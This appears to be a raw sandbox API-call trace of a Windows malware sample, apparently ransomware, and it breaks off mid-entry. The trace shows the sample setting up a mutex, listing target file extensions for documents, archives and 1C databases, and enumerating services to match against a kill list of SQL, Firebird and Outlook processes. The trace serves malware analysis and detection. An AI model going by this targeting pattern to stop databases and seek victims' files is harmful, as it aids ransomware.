[0262.313] GetProcAddress (hModule=0x77540000, lpProcName="CreatePipe") returned 0x775d415b [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="SetHandleInformation") returned 0x7756195c [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="CreateProcessW") returned 0x7755103d [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="CompareStringW") returned 0x77553bca [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="CompareStringA") returned 0x77553c5a [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="OpenProcess") returned 0x77551986 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="TerminateProcess") returned 0x7756d802 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="GetSystemTime") returned 0x77555a96 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="SystemTimeToFileTime") returned 0x77555a7e [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="GetLastError") returned 0x775511c0 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="CreateToolhelp32Snapshot") returned 0x7757735f [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="Process32NextW") returned 0x7757896c [0262.314] GetProcAddress (hModule=0x77540000, lpProcName="Process32FirstW") returned 0x77578baf [0262.314] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x773f0000 [0262.371] GetProcAddress (hModule=0x773f0000, lpProcName="RegOpenKeyExW") returned 0x7740468d [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="RegQueryValueExW") returned 0x774046ad [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="RegSetValueExW") returned 0x774014d6 [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="RegCloseKey") returned 0x7740469d [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="OpenProcessToken") returned 0x77404304 [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="GetTokenInformation") returned 0x7740431c [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="OpenSCManagerW") returned 0x773fca64 [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="OpenServiceW") returned 0x773fca4c [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="CloseServiceHandle") returned 0x7740369c [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="ControlService") returned 0x77417144 [0262.372] GetProcAddress (hModule=0x773f0000, lpProcName="QueryServiceStatus") returned 0x77402a86 [0262.373] GetProcAddress (hModule=0x773f0000, lpProcName="EnumDependentServicesW") returned 0x773f1e3a [0262.373] GetProcAddress (hModule=0x773f0000, lpProcName="EnumServicesStatusExW") returned 0x773fb466 [0262.373] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75e10000 [0262.479] GetProcAddress (hModule=0x75e10000, lpProcName="SystemParametersInfoW") returned 0x75e290d3 [0262.479] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x761c0000 [0262.485] GetProcAddress (hModule=0x761c0000, lpProcName="ShellExecuteExW") returned 0x761e1e46 [0262.485] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b10000 [0262.485] GetProcAddress (hModule=0x77b10000, lpProcName="NtQuerySystemInformation") returned 0x77b2fda0 [0262.485] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73920000 [0263.507] GetProcAddress (hModule=0x73920000, lpProcName="WNetCloseEnum") returned 0x73922dd6 [0263.507] GetProcAddress (hModule=0x73920000, lpProcName="WNetOpenEnumW") returned 0x73922f06 [0263.507] GetProcAddress (hModule=0x73920000, lpProcName="WNetEnumResourceW") returned 0x73923058 [0263.507] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75d40000 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="WSAStartup") returned 0x75d43ab2 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="socket") returned 0x75d43eb8 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="send") returned 0x75d46f01 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="recv") returned 0x75d46b0e [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="connect") returned 0x75d46bdd [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="closesocket") returned 0x75d43918 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="gethostbyname") returned 0x75d57673 [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="inet_addr") returned 0x75d4311b [0263.960] GetProcAddress (hModule=0x75d40000, lpProcName="ntohl") returned 0x75d42d57 [0263.961] GetProcAddress (hModule=0x75d40000, lpProcName="htonl") returned 0x75d42d57 [0263.961] GetProcAddress (hModule=0x75d40000, lpProcName="htons") returned 0x75d42d8b [0263.961] QueryPerformanceCounter (in: lpPerformanceCount=0x21f15c | out: lpPerformanceCount=0x21f15c*=1812798700000) returned 1 [0263.961] GetTickCount () returned 0x148b2 [0263.961] GetCurrentProcessId () returned 0x7d4 [0263.961] GetTickCount () returned 0x148b2 [0263.962] GetTickCount () returned 0x148b2 [0263.962] GetVersion () returned 0x1db10106 [0263.962] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KVW72VA") returned 0x0 [0263.962] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KVW72VA") returned 0x84 [0263.962] lstrlenW (lpString="Global\\syncronize_") returned 18 [0263.963] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KVW72VU") returned 0x0 [0263.963] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KVW72VU") returned 0x88 [0263.963] lstrlenW (lpString="Global\\syncronize_") returned 18 [0263.963] GetVersion () returned 0x1db10106 [0263.963] GetCurrentProcess () returned 0xffffffff [0263.963] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21f148 | out: TokenHandle=0x21f148*=0x8c) returned 1 [0263.963] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x21f144, TokenInformationLength=0x4, ReturnLength=0x21f150 | out: TokenInformation=0x21f144, ReturnLength=0x21f150) returned 1 [0263.963] CloseHandle (hObject=0x8c) returned 1 [0263.963] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0263.964] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0263.965] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21f194 | out: lpWSAData=0x21f194) returned 0 [0264.123] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0264.123] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0264.123] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x295780 [0264.225] EnumServicesStatusExW (in: hSCManager=0x295780, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21f130, lpServicesReturned=0x21f148, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21f130, lpServicesReturned=0x21f148, lpResumeHandle=0x0) returned 0 [0264.225] GetLastError () returned 0xea [0264.225] EnumServicesStatusExW (in: hSCManager=0x295780, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2992b8, cbBufSize=0x11f2, pcbBytesNeeded=0x21f130, lpServicesReturned=0x21f148, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x2992b8, pcbBytesNeeded=0x21f130, lpServicesReturned=0x21f148, lpResumeHandle=0x0) returned 1 [0264.226] CloseServiceHandle (hSCObject=0x295780) returned 1 [0264.334] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.335] lstrlenW (lpString="AudioSrv") returned 8 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0264.335] lstrlenW (lpString="BFE") returned 3 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.335] lstrlenW (lpString="CryptSvc") returned 8 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.335] lstrlenW (lpString="CscService") returned 10 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0264.335] lstrlenW (lpString="DcomLaunch") returned 10 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.335] lstrlenW (lpString="Dhcp") returned 4 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.335] lstrlenW (lpString="Dnscache") returned 8 [0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.336] lstrlenW (lpString="DPS") returned 3 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.336] lstrlenW (lpString="eventlog") returned 8 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0264.336] lstrlenW (lpString="EventSystem") returned 11 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.336] lstrlenW (lpString="gpsvc") returned 5 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.336] lstrlenW (lpString="iphlpsvc") returned 8 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.336] lstrlenW (lpString="LanmanServer") returned 12 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.336] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.336] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.337] lstrlenW (lpString="lmhosts") returned 7 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.337] lstrlenW (lpString="MMCSS") returned 5 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0264.337] lstrlenW (lpString="MpsSvc") returned 6 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.337] lstrlenW (lpString="Netman") returned 6 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0264.337] lstrlenW (lpString="netprofm") returned 8 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.337] lstrlenW (lpString="NlaSvc") returned 6 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.337] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.337] lstrlenW (lpString="nsi") returned 3 [0264.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.338] lstrlenW (lpString="PcaSvc") returned 6 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.338] lstrlenW (lpString="PlugPlay") returned 8 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.338] lstrlenW (lpString="Power") returned 5 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.338] lstrlenW (lpString="ProfSvc") returned 7 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.338] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.338] lstrlenW (lpString="RpcSs") returned 5 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.338] lstrlenW (lpString="SamSs") returned 5 [0264.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.339] lstrlenW (lpString="Schedule") returned 8 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.339] lstrlenW (lpString="SENS") returned 4 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.339] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.339] lstrlenW (lpString="Spooler") returned 7 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.339] lstrlenW (lpString="SysMain") returned 7 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.339] lstrlenW (lpString="Themes") returned 6 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.339] lstrlenW (lpString="TrkWks") returned 6 [0264.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0264.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0264.340] lstrlenW (lpString="UxSms") returned 5 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0264.340] lstrlenW (lpString="WdiServiceHost") returned 14 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0264.340] lstrlenW (lpString="WdiSystemHost") returned 13 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0264.340] lstrlenW (lpString="WerSvc") returned 6 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WerSvc") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WerSvc") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WerSvc") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WerSvc") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WerSvc") returned -1 [0264.340] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0264.340] lstrlenW (lpString="Winmgmt") returned 7 [0264.340] lstrcmpiW 